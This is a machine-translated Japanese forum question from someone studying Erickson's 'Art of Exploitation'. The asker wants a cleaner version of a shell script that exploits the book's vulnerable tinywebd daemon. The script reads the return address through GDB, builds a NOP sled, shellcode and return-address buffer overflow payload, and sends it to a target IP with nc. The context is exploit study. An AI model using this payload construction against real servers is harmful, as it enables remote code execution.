要点: このスクリプトをより簡潔で簡潔にすることはできますか?
私は Erickson による Art of Exploitation に取り組んでおり、彼は彼の tinywebserver デーモンの悪用を高速化する自動化ツールの開発について説明しています。
ただし、Ubuntu 10.04 では、デーモンを再起動するたびにリターン アドレスが変更されます。スクリプトを調整して、GDB からのリターン アドレスの取得を自動化しました。私は以前にスクリプトを作成したことがなく、以下のスクリプトは機能しますが、特に GDB の行がよりクリーンになるかどうか疑問に思っていました。
基本的に、デーモンを起動して、pid を取得します。次に、正しいリターン アドレスを取得するために、GDB の実行を自動化します。これはログファイルに保存されます。
cut を使用して戻りアドレスを取得し、sed を使用してスペースを確保し、awk を使用してシェルコード用に適切にフォーマットします。
それ以外は本から。
gdb ラインと cut/sed/awk ラインに関するフィードバックはありますか?
アドバイスをありがとう。
#!/bin/sh
# a tool for exploiting tinywebd
if [ -z "$2" ]; then # if argument 2 is blank
echo "Usage: $0 <shellcode file> <target IP>"
exit
fi
./tinywebd
pid=$(pidof tinywebd)
OFFSET=524 # changed to work on eve
#RETADDR="\xe4\x9a\xd2\xbf" #
sudo gdb -q -pid=$pid --symbols=./tinywebd --batch -ex "break 86"
--batch -ex "c"--batch -ex "set logging on gdblog" --batch -ex "x/x request+100"
--batch -ex "set logging off" --batch -ex "quit"
RETADDR=$(cut -d: -f1 gdblog | sed 's/\(.\{2\}\)/\1 /g' |
awk '{ print "\\x"$5"\\x"$4"\\x"$3"\\x"$2}')
rm -f gdblog
echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))
echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr ($((4*32))
bytes)]"
( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";
cat $1;
perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80